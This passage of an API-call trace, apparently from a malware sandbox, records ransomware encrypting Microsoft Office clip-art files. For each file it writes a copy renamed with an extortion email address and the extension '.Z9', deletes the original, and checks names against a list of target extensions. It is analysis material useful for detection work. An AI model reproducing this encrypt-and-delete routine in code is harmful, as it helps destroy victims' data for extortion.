	[0166.265] ReadFile (in: hFile=0x470, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.265] WriteFile (in: hFile=0x4b8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.265] SetEndOfFile (hFile=0x4b8) returned 1
	[0166.266] CloseHandle (hObject=0x4b8) returned 1
	[0166.266] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.266] SetEndOfFile (hFile=0x470) returned 1
	[0166.269] CloseHandle (hObject=0x470) returned 1
	[0166.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1
	[0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.271] lstrlenW (lpString=".doc") returned 4
	[0166.271] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.271] lstrlenW (lpString=".docx") returned 5
	[0166.271] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0166.271] lstrlenW (lpString=".pdf") returned 4
	[0166.271] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.271] lstrlenW (lpString=".xls") returned 4
	[0166.271] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.271] lstrlenW (lpString=".xlsx") returned 5
	[0166.271] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0166.271] lstrlenW (lpString=".ppt") returned 4
	[0166.271] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.271] lstrlenW (lpString=".zip") returned 4
	[0166.271] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.271] lstrlenW (lpString=".rar") returned 4
	[0166.271] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.271] lstrlenW (lpString=".bz2") returned 4
	[0166.271] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.271] lstrlenW (lpString=".7z") returned 3
	[0166.271] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.271] lstrlenW (lpString=".dbf") returned 4
	[0166.271] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.272] lstrlenW (lpString=".1cd") returned 4
	[0166.272] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.272] lstrlenW (lpString=".jpg") returned 4
	[0166.272] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.272] lstrlenW (lpString=".doc") returned 4
	[0166.272] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0166.272] lstrlenW (lpString=".docx") returned 5
	[0166.272] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0166.272] lstrlenW (lpString=".pdf") returned 4
	[0166.272] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0166.272] lstrlenW (lpString=".xls") returned 4
	[0166.272] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0166.272] lstrlenW (lpString=".xlsx") returned 5
	[0166.272] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0166.272] lstrlenW (lpString=".ppt") returned 4
	[0166.272] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0166.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.272] lstrlenW (lpString=".zip") returned 4
	[0166.272] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0166.272] lstrlenW (lpString=".rar") returned 4
	[0166.272] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0166.272] lstrlenW (lpString=".bz2") returned 4
	[0166.272] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0166.272] lstrlenW (lpString=".7z") returned 3
	[0166.272] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0166.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.272] lstrlenW (lpString=".dbf") returned 4
	[0166.272] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0166.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.273] lstrlenW (lpString=".1cd") returned 4
	[0166.273] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0166.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0166.273] lstrlenW (lpString=".jpg") returned 4
	[0166.273] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0166.273] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0166.273] lstrlenW (lpString="J0099192.GIF") returned 12
	[0166.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.275] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=17964) returned 1
	[0166.275] CloseHandle (hObject=0x470) returned 1
	[0166.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220
	[0166.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.275] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.275] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0166.276] GetLastError () returned 0x0
	[0166.276] ReadFile (in: hFile=0x470, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x462c, lpOverlapped=0x0) returned 1
	[0166.400] WriteFile (in: hFile=0x4b8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x4630, lpOverlapped=0x0) returned 1
	[0166.402] ReadFile (in: hFile=0x470, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.402] WriteFile (in: hFile=0x4b8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.402] SetEndOfFile (hFile=0x4b8) returned 1
	[0166.402] CloseHandle (hObject=0x4b8) returned 1
	[0166.403] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.403] SetEndOfFile (hFile=0x470) returned 1
	[0166.424] CloseHandle (hObject=0x470) returned 1
	[0166.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1
	[0166.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.426] lstrlenW (lpString=".doc") returned 4
	[0166.426] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.426] lstrlenW (lpString=".docx") returned 5
	[0166.427] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0166.427] lstrlenW (lpString=".pdf") returned 4
	[0166.427] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.427] lstrlenW (lpString=".xls") returned 4
	[0166.427] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.427] lstrlenW (lpString=".xlsx") returned 5
	[0166.427] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0166.427] lstrlenW (lpString=".ppt") returned 4
	[0166.427] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.427] lstrlenW (lpString=".zip") returned 4
	[0166.427] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.427] lstrlenW (lpString=".rar") returned 4
	[0166.427] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.427] lstrlenW (lpString=".bz2") returned 4
	[0166.427] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.427] lstrlenW (lpString=".7z") returned 3
	[0166.427] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.427] lstrlenW (lpString=".dbf") returned 4
	[0166.427] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.427] lstrlenW (lpString=".1cd") returned 4
	[0166.427] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.427] lstrlenW (lpString=".jpg") returned 4
	[0166.427] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.427] lstrlenW (lpString=".doc") returned 4
	[0166.427] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.428] lstrlenW (lpString=".docx") returned 5
	[0166.428] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0166.428] lstrlenW (lpString=".pdf") returned 4
	[0166.428] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.428] lstrlenW (lpString=".xls") returned 4
	[0166.428] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.428] lstrlenW (lpString=".xlsx") returned 5
	[0166.428] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0166.428] lstrlenW (lpString=".ppt") returned 4
	[0166.428] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.428] lstrlenW (lpString=".zip") returned 4
	[0166.428] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.428] lstrlenW (lpString=".rar") returned 4
	[0166.428] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.428] lstrlenW (lpString=".bz2") returned 4
	[0166.428] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.428] lstrlenW (lpString=".7z") returned 3
	[0166.428] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.428] lstrlenW (lpString=".dbf") returned 4
	[0166.428] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.428] lstrlenW (lpString=".1cd") returned 4
	[0166.428] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0166.428] lstrlenW (lpString=".jpg") returned 4
	[0166.428] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.428] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0166.429] lstrlenW (lpString="J0099194.GIF") returned 12
	[0166.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.429] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=25265) returned 1
	[0166.429] CloseHandle (hObject=0x470) returned 1
	[0166.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220
	[0166.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0166.430] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.430] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0166.431] GetLastError () returned 0x0
	[0166.431] ReadFile (in: hFile=0x470, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x62b1, lpOverlapped=0x0) returned 1
	[0166.658] WriteFile (in: hFile=0x4d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x62c0, lpOverlapped=0x0) returned 1
	[0166.659] ReadFile (in: hFile=0x470, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.659] WriteFile (in: hFile=0x4d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.659] SetEndOfFile (hFile=0x4d0) returned 1
	[0166.660] CloseHandle (hObject=0x4d0) returned 1
	[0166.660] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.660] SetEndOfFile (hFile=0x470) returned 1
	[0166.663] CloseHandle (hObject=0x470) returned 1
	[0166.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1
	[0166.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.664] lstrlenW (lpString=".doc") returned 4
	[0166.664] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.664] lstrlenW (lpString=".docx") returned 5
	[0166.664] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1
	[0166.664] lstrlenW (lpString=".pdf") returned 4
	[0166.664] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.664] lstrlenW (lpString=".xls") returned 4
	[0166.664] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.664] lstrlenW (lpString=".xlsx") returned 5
	[0166.664] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1
	[0166.664] lstrlenW (lpString=".ppt") returned 4
	[0166.664] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.664] lstrlenW (lpString=".zip") returned 4
	[0166.664] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.664] lstrlenW (lpString=".rar") returned 4
	[0166.664] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.664] lstrlenW (lpString=".bz2") returned 4
	[0166.664] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.664] lstrlenW (lpString=".7z") returned 3
	[0166.664] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.665] lstrlenW (lpString=".dbf") returned 4
	[0166.665] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.665] lstrlenW (lpString=".1cd") returned 4
	[0166.665] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.665] lstrlenW (lpString=".jpg") returned 4
	[0166.665] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.665] lstrlenW (lpString=".doc") returned 4
	[0166.665] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0166.665] lstrlenW (lpString=".docx") returned 5
	[0166.665] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1
	[0166.665] lstrlenW (lpString=".pdf") returned 4
	[0166.665] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0166.665] lstrlenW (lpString=".xls") returned 4
	[0166.665] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0166.665] lstrlenW (lpString=".xlsx") returned 5
	[0166.665] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1
	[0166.665] lstrlenW (lpString=".ppt") returned 4
	[0166.665] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0166.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.665] lstrlenW (lpString=".zip") returned 4
	[0166.665] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0166.665] lstrlenW (lpString=".rar") returned 4
	[0166.665] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0166.665] lstrlenW (lpString=".bz2") returned 4
	[0166.665] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0166.665] lstrlenW (lpString=".7z") returned 3
	[0166.665] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0166.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.665] lstrlenW (lpString=".dbf") returned 4
	[0166.665] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0166.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.666] lstrlenW (lpString=".1cd") returned 4
	[0166.666] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0166.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0166.666] lstrlenW (lpString=".jpg") returned 4
	[0166.666] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0166.666] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0166.666] lstrlenW (lpString="J0099195.GIF") returned 12
	[0166.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.694] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=19923) returned 1
	[0166.694] CloseHandle (hObject=0x440) returned 1
	[0166.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220
	[0166.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0166.696] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.696] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8
	[0166.697] GetLastError () returned 0x0
	[0166.697] ReadFile (in: hFile=0x440, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x4dd3, lpOverlapped=0x0) returned 1
